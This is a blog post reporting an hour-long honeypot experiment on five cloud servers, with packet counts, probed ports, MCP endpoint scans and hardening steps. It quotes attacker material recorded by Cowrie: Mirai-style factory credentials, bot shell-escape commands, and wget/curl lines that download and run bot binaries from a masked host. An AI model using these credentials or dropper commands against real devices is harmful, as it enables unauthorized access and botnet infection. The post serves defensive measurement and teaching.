Skip to content
Huseyin Babal
Go back

Five cloud servers, every port open, one hour: what tcpdump and a Cowrie honeypot recorded

A new cloud server gets traffic before you have logged into it yourself. How fast that happens, which ports get probed and what the bots try once a login works are easy to measure, so I measured them on five providers at once.

Each provider got its cheapest VM, a firewall rule that allows every inbound port, packet capture that starts in the first boot step, and the Cowrie honeypot listening on ports 22 and 23. The servers ran for one hour and were deleted afterwards. I ran the whole test twice: once with only packet capture, once with the honeypot. Unless a table says otherwise, numbers come from the second run.

Setup

ProviderRegionMachineImageFirewall rule
AWSeu-central-1t4g.nanoUbuntu 24.04security group, all protocols from 0.0.0.0/0
Microsoft AzuregermanywestcentralStandard_B1lsUbuntu 24.04 LTSNSG rule all-in, priority 100, protocol *
Google Cloudeurope-west3-ae2-microUbuntu 24.04 LTSfirewall rule --allow all --source-ranges 0.0.0.0/0
DigitalOceanfra1s-1vcpu-512mb-10gbUbuntu 24.04none (no cloud firewall attached)
Hetznerfsn1cx23Ubuntu 24.04none (no cloud firewall attached)

All five boot the same cloud-init file. Three parts of it matter.

Packet capture from the first boot step. bootcmd runs before almost anything else, so tcpdump is up before sshd. One capture keeps the full pcap; the second writes one line per new TCP connection attempt (a SYN without ACK) or UDP packet, which is what the counts below are built from.

bootcmd:
  - mkdir -p /var/lab
  - [ sh, -c, "nohup tcpdump -i any -n -U -s 512 -w /var/lab/cap.pcap >/var/lab/tcpdump_pcap.err 2>&1 &" ]
  - [ sh, -c, "nohup sh -c \"tcpdump -i any -n -l -tt '(tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0) or udp' > /var/lab/conns.txt\" &" ]

My own SSH on a high port, key only. The real sshd also listens on 22922 and refuses passwords, so the honeypot can take over 22 without locking me out.

Port 22
Port 22922
PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin prohibit-password
LogLevel VERBOSE/etc/ssh/sshd_config.d/00-lab.conf

Cowrie on 22 and 23. Cowrie is an open-source SSH and Telnet honeypot. It accepts most logins, gives the client a fake shell, and logs every credential and command. Nothing typed into it runs on the host. It installs from PyPI into a virtualenv under its own user, listens on 2222 and 2223, and two NAT rules send 22 and 23 to it:

adduser --disabled-password --gecos '' cowrie
su - cowrie -c 'mkdir -p hp && cd hp && python3 -m venv env && env/bin/pip install cowrie && env/bin/cowrie init'
su - cowrie -c 'cd hp && PATH=$HOME/hp/env/bin:$PATH cowrie start'
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
iptables -t nat -A PREROUTING -p tcp --dport 23 -j REDIRECT --to-ports 2223

A tiny Python server on port 80 logged every HTTP request path and answered 404.

Time to the first packet

The clock starts when the create command is sent. “After capture start” removes the time the provider spends building the machine.

ProviderFirst packet after create (s)After capture start, run 2 (s)After capture start, run 1 (s)
AWS25.56.12.6
DigitalOcean36.00.210.8
Hetzner37.44.011.2
Google Cloud40.31.48.7
Azure48.013.218.0

In both runs every server saw its first inbound packet less than 20 seconds after tcpdump started. On AWS the first packet in run 2 went to port 23.

One hour of inbound traffic

ProviderConnection attemptsTCPUDPUnique sourcesUnique portsTop 3 ports (attempts)
DigitalOcean6646273744452823 (30), 22 (12), 443 (11)
AWS9038574669280980 (19), 9999 (9), 23 (6)
Azure1,0589141446457551194 (101), 23 (66), 10000 (17)
Google Cloud1,3151,2724373094823 (99), 80 (62), 443 (55)
Hetzner1,4167366804391,075445 (143), 23 (47), 10001 (17)

That is 5,356 attempts across five addresses that were never published anywhere. Most sources sent only a few packets each and moved on, which is what wide address-range scanning looks like.

Hetzner’s top port was 445 (SMB, Windows file sharing), and almost half of its traffic was UDP. Azure’s top port was 1194, the default OpenVPN port.

What the bots did after logging in

Cowrie was ready between 76 and 390 seconds after the create command, depending on the provider. The first login arrived 63 to 246 seconds after that.

ProviderLoginsOver SSHOver TelnetSource addresses
DigitalOcean120124
Hetzner203177
AWS0000
Azure270278
Google Cloud292278

Out of 88 logins, 83 came over Telnet. On every server that had logins, admin / admin was the most common pair. Other pairs in the logs include root / xc3511, root / vizxv, root / hi3518, root / juantech, root / anko, root / default and root with an empty password. These are factory credentials of cheap DVRs, IP cameras and routers, and several of them were in the credential list of the Mirai botnet, whose source code is public.

After a login, the sessions typed almost the same sequence everywhere:

enable
system
shell
sh
ping; sh
/bin/busybox HISILICON
/bin/busybox cat /proc/self/exe || cat /proc/self/execowrie

enable, system, shell and sh try to leave a router’s restricted CLI and reach a real shell. busybox with a made-up applet name (HISILICON, UNSTABLE) fails with an error that only a real BusyBox prints, so the bot learns it has a shell. cat /proc/self/exe reads the binary of the current process, which tells the bot the CPU architecture.

The download attempt

One server went further. On Azure, a session first wrote an empty test file into every directory it could reach and made it executable:

>/var/tmp/.f && chmod 777 /var/tmp/.f && /var/tmp/.f && cd /var/tmp/;
>/dev/shm/.f && chmod 777 /dev/shm/.f && /dev/shm/.f && cd /dev/shm/;
>/root/.f && chmod 777 /root/.f && /root/.f && cd /root/;

Two other sessions logged in as root with an empty password and downloaded binaries, one build per CPU architecture, because the bot cannot know in advance what it landed on. The download host is replaced with x.x.x.x here:

wget http://x.x.x.x/bins/net.x86_64 -O net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;
curl -L http://x.x.x.x/bins/net.x86_64 -o net_bot && chmod 777 net_bot && ./net_bot net.x86_64 && exit;

The commands also named net.arc, net.i686, net.spc, net.mips and a shell script kla.sh. There were 10 download attempts in the hour; Cowrie stored four distinct files and none of them ran. Their SHA-256 hashes, if you want to look them up:

SHA-256Size (bytes)
5d9e4bdee8c8fcb0b534f6336ecace4696d8ed3038de42a969c6e037e41d1de5148,428
b28233f84b6022af819adc47e0763ad76ec39d057e6b59dcc219a97e63f0cbd0255,652
3674a103804cac96027fe1cf62aaab4948c1d547d1c885542177a263103b4260193,352
39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b963,241

The server with no logins

AWS got 903 attempts, but only 7 went to ports 22 and 23 and none of them completed the TCP handshake: the server answered with SYN-ACK and the final ACK never came. That is a SYN scan, which checks whether a port answers without opening a connection. Cowrie never saw a session.

Port 80 was AWS’s busiest port. The requests that reached the HTTP logger asked for:

/
/favicon.ico
/robots.txt
/.well-known/robots.txt
/security.txt
/.well-known/security.txt/var/lab/http80.jsonl

One hour on one server is not enough to say why the Telnet bots skipped this address.

Scanners looking for MCP servers

Among the HTTP requests on Google Cloud were these paths:

/mcp
/mcp/
/api/mcp
/sse/var/lab/http80.jsonl

These are common endpoints of a Model Context Protocol server, the protocol AI agents use to call tools; /sse is the older HTTP+SSE transport. Four MCP paths from one scan means a client is mapping which cloud addresses expose an MCP endpoint. If you run an MCP server on a public address, put it behind authentication or bind it to localhost.

Two runs

ProviderRun 1 attempts (no honeypot)Run 2 attempts (honeypot)
DigitalOcean619664
AWS878903
Azure1,0321,058
Google Cloud1,0241,315
Hetzner6111,416

Hetzner went from the lowest total to the highest between the runs, so these numbers do not rank the providers. What held both times is the speed: every server was found within 20 seconds of capture starting.

Hardening a new server, in this order

Everything above hit ports that were open on purpose. On a real server, these steps remove most of it.

1. Close every port you do not use, in the cloud firewall. A provider firewall drops packets before they reach the VM. On AWS that is the security group:

aws ec2 revoke-security-group-ingress --group-id sg-xxxx \
  --ip-permissions 'IpProtocol=-1,IpRanges=[{CidrIp=0.0.0.0/0}]'
aws ec2 authorize-security-group-ingress --group-id sg-xxxx \
  --protocol tcp --port 443 --cidr 0.0.0.0/0

Allow SSH only from your own address, or not at all if you use the provider’s session manager. On the VM, check what actually listens:

sudo ss -tulpn

2. SSH with keys only. With password login off, the admin / admin style of attack has nothing to try.

PasswordAuthentication no
KbdInteractiveAuthentication no
PermitRootLogin prohibit-password/etc/ssh/sshd_config.d/10-hardening.conf
sudo sshd -t && sudo systemctl reload ssh

3. No Telnet. It sends everything in clear text and is what 83 of the 88 logins used. On a server it should not be installed at all; at home, check cameras, NVRs and routers for a Telnet option, turn it off, and change the factory password.

sudo ss -tlnp | grep ':23 '
sudo apt purge telnetd inetutils-telnetd

4. Keep the system patched. Whatever still answers on an open port should be current. On Ubuntu:

sudo apt update && sudo apt upgrade
sudo apt install unattended-upgrades
sudo dpkg-reconfigure --priority=low unattended-upgrades

To check the result from outside, scan your own address from another machine with nmap -Pn -p- <your-ip> and compare it with the list of ports you meant to open.

What this test does not cover

Sources


Share this post:

Previous Post
PostgreSQL 19 vs 18: testing the foreign key claim, NOT IN, REPACK and parallel autovacuum
Next Post
Go escape analysis: reading -gcflags=-m on a small game server